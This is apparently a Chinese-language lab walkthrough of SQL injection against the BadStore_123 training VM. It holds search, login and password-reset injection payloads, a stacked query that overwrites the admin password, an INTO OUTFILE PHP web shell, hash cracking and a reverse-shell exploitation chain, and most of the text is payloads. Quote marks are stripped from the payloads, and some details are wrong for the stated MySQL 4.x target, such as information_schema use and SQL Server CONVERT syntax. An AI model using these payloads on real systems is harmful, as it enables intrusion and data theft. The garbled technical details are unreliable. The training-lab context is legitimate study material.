BadStore_123靶机渗透测试中的SQL注入实战技巧 BadStore_123靶机渗透测试中的SQL注入实战技巧在渗透测试的学习过程中靶机环境是提升实战能力的最佳训练场。BadStore_123作为VulnHub平台上经典的Web应用靶机其设计精巧地模拟了电子商务网站常见的SQL注入漏洞场景。本文将深入剖析该靶机中隐藏的多处SQL注入点从基础探测到高级利用逐步演示如何突破权限限制最终获取系统控制权。1. 靶机环境初探与信息收集启动BadStore_123靶机后第一步是通过网络扫描确定目标IP和开放服务。使用Nmap进行基础扫描nmap -sV -T4 192.168.1.100典型扫描结果会显示以下关键信息端口服务版本信息80/tcpHTTPApache httpd 1.3.28443/tcpHTTPSOpenSSL/0.9.7c3306/tcpMySQLMySQL 4.1.7-standard访问Web界面会发现一个功能完整的电商网站主要功能模块包括商品搜索框用户登录/注册供应商专区需特殊账户密码重置功能重要发现在目录扫描过程中常会意外获取到敏感文件如/vendors.txt其中可能包含供应商账户的哈希信息。这些信息需要经过解码才能用于后续测试。2. SQL注入点的系统化挖掘2.1 商品搜索框的GET型注入最明显的测试入口是首页的商品搜索功能。通过输入特殊字符观察响应 OR 11 --当页面返回所有商品而非报错时基本确认存在SQL注入。进一步验证可尝试 UNION SELECT 1,2,3,4 --确定回显位后即可开始提取数据库信息。对于MySQL 4.x版本关键查询包括 UNION SELECT 1,table_name,3,4 FROM information_schema.tables --注意早期MySQL版本对权限控制较为宽松但BadStore_123做了特殊限制普通注入只能访问特定表。2.2 用户登录的POST型注入注册测试账户后在登录界面尝试经典Payload用户名admin -- 密码任意若成功登录说明存在基于POST的注入。更高级的利用方式包括admin AND 1CONVERT(int,(SELECT table_name FROM information_schema.tables)) --这种基于错误回显的技术可以绕过部分过滤机制。2.3 密码重置功能处的二次注入未登录状态下直接访问密码重置功能输入admin AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) --通过时间延迟确认注入存在。此处可利用的Payload UNION SELECT 1,password,3,4 FROM users WHERE usernameadmin --3. 权限提升与绕过技巧3.1 突破数据访问限制当遇到只能查询特定表的情况可尝试堆叠查询某些配置允许执行多条SQL语句; UPDATE users SET passwordhacked WHERE usernameadmin --利用MySQL日志文件向Web目录写入PHP后门 UNION SELECT 1,?php system($_GET[cmd]); ?,3,4 INTO OUTFILE /var/www/html/shell.php --3.2 供应商账户的获取与利用通过解码获取的供应商哈希信息常见突破口包括使用John the Ripper破解MD5哈希john --formatraw-MD5 hashes.txt利用已知密码模式如password123进行针对性爆破成功登录供应商账户后常能发现更高权限的注入点或文件上传功能。4. 从SQL注入到系统控制4.1 数据库直接连接利用当获取到数据库凭据后可直接连接MySQLmysql -h 192.168.1.100 -u root -p常见提权方法通过UDF函数执行系统命令利用into outfile写入Web Shell读取/etc/passwd文件获取系统用户信息4.2 综合利用链构建完整的渗透路径示例通过搜索框注入获取数据库版本利用已知漏洞攻击MySQL服务通过数据库写入Web Shell反弹Shell获取系统权限查找敏感文件如/root/flag.txt# 简单的Python自动化注入脚本示例 import requests target http://192.168.1.100/search.php payload {query: UNION SELECT 1,version,3,4 -- } response requests.get(target, paramspayload) print(response.text)在真实测试环境中每个步骤都需要反复验证和调整。BadStore_123靶机设计的精妙之处在于它模拟了现实网络中常见的多层防御和权限隔离迫使测试者必须综合运用各种技术才能最终突破。